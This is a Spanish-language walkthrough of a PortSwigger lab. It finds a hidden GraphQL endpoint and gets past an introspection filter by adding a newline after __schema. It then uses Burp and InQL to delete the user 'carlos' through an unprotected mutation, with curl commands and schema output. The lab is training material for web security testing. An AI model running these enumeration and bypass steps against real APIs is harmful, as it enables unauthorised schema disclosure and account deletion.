GraphQL API Vulnerabilities Lab 3
Skills
- Finding a hidden GraphQL endpoint
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
utiliza un endpoint GraphQL oculto
para las funciones
de gestión
de usuarios
. No podremos encontrar
este endpoint
simplemente navegando
por las páginas
de la web
. Además, el endpoint
cuenta con defensas
contra la introspección
. Para resolver
el laboratorio
, debemos encontrar
el endpoint oculto
y eliminar
al usuario carlos
Resolución
Al acceder
a la web
vemos esto
Los servicios GraphQL
suelen utilizar endpoints
similares a estos. En Hacktricks
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html#graphql se nos explica paso por paso la forma en la que debemos enumerar
este servicio
1
2
3
4
5
/graphql
/api
/apigraphql
/graphqlapi
/graphqlgraphql
Si los endpoints
anteriores no devuelven respuesta
podemos añadirles /v1
1
2
3
4
5
/graphql/v1
/api/v1
/apigraphql/v1
/graphqlapi/v1
/graphqlgraphql/v1
Si hacemos una petición
a un endpoint inexistente
obtenemos esta respuesta
1
2
# curl https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/test
"Not Found"
Desde Burpsuite
vamos a realizar
un ataque
de fuerza bruta
para ver si encontramos alguna ruta
. Para ello, capturamos
una petición
cualquiera, la mandamos al Intruder
y señalamos
donde irá el payload
Como payloads
vamos a utilizar las rutas mencionadas anteriormente
En la parte inferior desmarcamos
la casilla
de Payload encoding
Vemos que /api
nos devuelve
una respuesta diferente
, también vemos que devuelve Allow: GET
y Content-Type: application/json
Sin embargo, si hacemos una consulta
a un endpoint
que si que exista
recibiremos un mensaje como "query not present"
o similar
1
2
# curl https://0a4e0026033bd4588224665a004b00bc.web-security-academy.net/api
"Query not present"
Para comprobar que se trata de GraphQL
podemos usar universal queries
, si el content-type
es x-www-form-urlencoded
podemos usar este payload query{__typename}
y si el content-type
es application/json
, debemos adaptar
el payload
a este otro {"query":"{__typename}"}
. Cuando enviemos
estos payloads
se nos devolverá {"data": {"__typename": "query"}}
en alguna parte de la respuesta
. La consulta funciona porque cada endpoint
de GraphQL
tiene un campo reservado
llamado __typename
que devuelve
el tipo
del objeto consultado
como una cadena
En la mayoría de casos los endpoints
en GraphQL
solo aceptan peticiones POST
con content-type
de application/json
porque esto ayuda a proteger
contra vulnerabilidades
de CSRF
. Sin embargo, en este caso también se pueden enviar
un datos
en el body
de una petición
por GET
con GraphQL
, pero no se recomienda
porque las peticiones
por GET
suelen ser idempotentes
y utilizan parámetros
de consulta
. Sin embargo, algunos servidores
pueden permitirlo
por comodidad
, aunque esto va en contra de los estándares HTTP
Para enumerar información
acerca del esquema
vamos a usar la introspección
. La introspección
es una función integrada
de GraphQL
que permite consultar
un servidor
para obtener información
sobre su esquema
. La introspección
nos ayuda a comprender cómo podemos interactuar
con una API GraphQL
. También puede revelar datos potencialmente confidenciales
, como campos
de descripción
. Para saber si la introspección
está habilitada
podemos usamos esta query
, en este caso al parecer está deshabilitada
Si las consultas
de introspección
están siendo bloqueadas
por la API
que estamos probando, podemos intentar insertar un carácter especial después de la palabra clave __schema
. Cuando los desarrolladores desactivan la introspección, podemos usar una expresión regular para excluir la palabra clave __schema en las consultas
. Se recomienda probar con caracteres como espacios
, saltos de línea
y comas
, ya que GraphQL
los ignora
, pero las expresiones regulares no
. En este caso añadiendo un salto de línea después de __schema logramos bypassear la expresión regular
pero si esto no hubiera funcionado, podríamos intentar enviar
el payload
mediante un método de solicitud alternativo
, ya que la introspección
solo se puede desactivar
para el método POST
. Podríamos probar una solicitud GET
o una solicitud POST
con un tipo de contenido de x-www-form-urlencoded
Mediante esta query
podemos extraer
todos los tipos
, sus campos
, sus argumentos
y el tipo
de los argumentos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
# curl -s -X GET https://0a5a00a3040cd9a6836b022400360015.web-security-academy.net/api -H "Content-Type: application/json" -d '{"query":"{__schema\n{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}"}' | jq
{
"data": {
"__schema": {
"types": [
{
"name": "Boolean",
"fields": null
},
{
"name": "DeleteOrganizationUserInput",
"fields": null
},
{
"name": "DeleteOrganizationUserResponse",
"fields": [
{
"name": "user",
"args": []
}
]
},
{
"name": "Int",
"fields": null
},
{
"name": "String",
"fields": null
},
{
"name": "User",
"fields": [
{
"name": "id",
"args": []
},
{
"name": "username",
"args": []
}
]
},
{
"name": "__Directive",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "isRepeatable",
"args": []
},
{
"name": "locations",
"args": []
},
{
"name": "args",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
}
]
},
{
"name": "__DirectiveLocation",
"fields": null
},
{
"name": "__EnumValue",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "isDeprecated",
"args": []
},
{
"name": "deprecationReason",
"args": []
}
]
},
{
"name": "__Field",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "args",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "type",
"args": []
},
{
"name": "isDeprecated",
"args": []
},
{
"name": "deprecationReason",
"args": []
}
]
},
{
"name": "__InputValue",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "type",
"args": []
},
{
"name": "defaultValue",
"args": []
},
{
"name": "isDeprecated",
"args": []
},
{
"name": "deprecationReason",
"args": []
}
]
},
{
"name": "__Schema",
"fields": [
{
"name": "description",
"args": []
},
{
"name": "types",
"args": []
},
{
"name": "queryType",
"args": []
},
{
"name": "mutationType",
"args": []
},
{
"name": "directives",
"args": []
},
{
"name": "subscriptionType",
"args": []
}
]
},
{
"name": "__Type",
"fields": [
{
"name": "kind",
"args": []
},
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "fields",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "interfaces",
"args": []
},
{
"name": "possibleTypes",
"args": []
},
{
"name": "enumValues",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "inputFields",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "ofType",
"args": []
},
{
"name": "specifiedByURL",
"args": []
}
]
},
{
"name": "__TypeKind",
"fields": null
},
{
"name": "mutation",
"fields": [
{
"name": "deleteOrganizationUser",
"args": [
{
"name": "input",
"description": null,
"type": {
"name": "DeleteOrganizationUserInput",
"kind": "INPUT_OBJECT",
"ofType": null
}
}
]
}
]
},
{
"name": "query",
"fields": [
{
"name": "getUser",
"args": [
{
"name": "id",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "Int",
"kind": "SCALAR"
}
}
}
]
}
]
}
]
}
}
}
Es interesante saber si se van a mostrar errores
, ya que aportan información útil
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# curl -s -X GET https://0a5a00a3040cd9a6836b022400360015.web-security-academy.net/api -H "Content-Type: application/json" -d '{"query":"{__schema}"}' | jq
{
"errors": [
{
"extensions": {},
"locations": [
{
"line": 1,
"column": 2
}
],
"message": "Validation error (SubselectionRequired@[__schema]) : Subselection required for type '__Schema!' of field '__schema'"
}
]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# curl -s -X GET https://0a5a00a3040cd9a6836b022400360015.web-security-academy.net/api -H "Content-Type: application/json" -d '{"query":"{}"}' | jq
{
"errors": [
{
"locations": [
{
"line": 1,
"column": 2
}
],
"message": "Invalid syntax with offending token '}' at line 1 column 2"
}
]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# curl -s -X GET https://0a5a00a3040cd9a6836b022400360015.web-security-academy.net/api -H "Content-Type: application/json" -d '{"query":"{thisdefinitelydoesnotexist}"}' | jq
{
"errors": [
{
"extensions": {},
"locations": [
{
"line": 1,
"column": 2
}
],
"message": "Validation error (FieldUndefined@[thisdefinitelydoesnotexist]) : Field 'thisdefinitelydoesnotexist' in type 'query' is undefined"
}
]
}
Podemos obtener aún más información
realizando una consulta
de introspección completa
sobre el endpoint
, esto se hace para poder obtener
la mayor cantidad
de información posible
del esquema
. Este consulta devuelve detalles completos sobre todas las consultas, mutaciones, suscripciones, tipos y fragmentos
. Si la introspección
está habilitada
pero la consulta no se ejecuta
, debemos eliminar
las directivas onOperation
, onFragment
y onField
de la estructura
de la consulta
, esto se debe a que muchos endpoints no aceptan estas directivas como parte de una consulta de introspección
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Para realizar
la query anterior
debemos refrescar
la página
, capturar
la petición
con Burpsuite
, añadir
un salto
de línea
después de __schema
, borrar
estas tres líneas
porque provocan
un error
, pinchar
sobre la pestaña GraphQL
y pegar
ahí el código
1
2
3
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
Podemos copiar
las respuestas
de las queries
en graphql-visualizer
http://nathanrandal.com/graphql-visualizer/ o en graphql-voyager
https://graphql-kit.com/graphql-voyager/ para ver
los resultados obtenidos
de forma gráfica
. En el caso de graphql-voyager
debemos usar el payload
que hay en la web
. Los campos isPrivate
y postPassword
son interesantes
Para el siguiente paso debemos tener instalada la extensión InQL
En este caso no podemos pulsar click derecho
y Generate queries with InQL Scanner
porque nos daría un error
. Esto es debido a las medidas
de seguridad
Lo que debemos de hacer es crearnos
un archivo .json
con el output
de la introspección completa
y cargarlo
desde la extensión InQL
. Una vez tengamos el archivo cargado pulsamos en Analyze
Observamos que hay una query
que nos permite enumerar usuarios
En cuanto a mutations
se refiere hay una que nos permite eliminar usuarios
Obtenemos
que el usuario
con id=3
es carlos
Si copiamos
la mutation
y enviamos
la petición
nos dice que necesitamos enviar
un objeto
Los objetos en GraphQL van entre llaves {}
, hemos añadido las llaves pero falta que añadamos los campos de ese objeto
. Por eso nos dice que es necesario
que añadamos
el campo id
Añadimos el campo id con el valor de 3
, el cual hace referencia
al usuarios carlos
, enviamos
la petición
y borramos
al usuario carlos
Podríamos obtener el mismo resultado usando las herramientas
que nos proporciona el propio Burpsuite
para GraphQL
. Si la API
acepta el método GET
debemos mandar el payload
por GET
y si acepta el método POST
hay que mandar el payload
por POST
, de lo contrario la herramienta que nos proporciona Burpsuite
para interactuar
con GraphQL
no se podrá usar. El primer para es mandar un query
por GET
y comprobar
que funciona
Lo siguiente que debemos hacer es hacer click izquierdo
en la ventana Request
y pulsar Set introspection query
. Estos son payloads
que nos proporciona el propio Burpsuite
para analizar GraphQL
Se nos generará
este payload
Si enviamos
el payload
nos arrojará
un error
, porque hay medidas de seguridad nos impiden llevar a cabo la introspección
. En este caso es una expresión regular
, para bypassearla
debemos añadir un salto de línea después de __schema
al igual que hemos hecho anteriormente
Hacemos click izquierdo
nuevamente y pulsamos sobre Save GraphQL queries to site map
Nos dirigimos a Target > Site map
y vemos que tenemos dos peticiones interesantes
, una para identificar usuarios
y la otra para eliminarlos
Identificamos
al usuario carlos
Borramos
al usuario carlos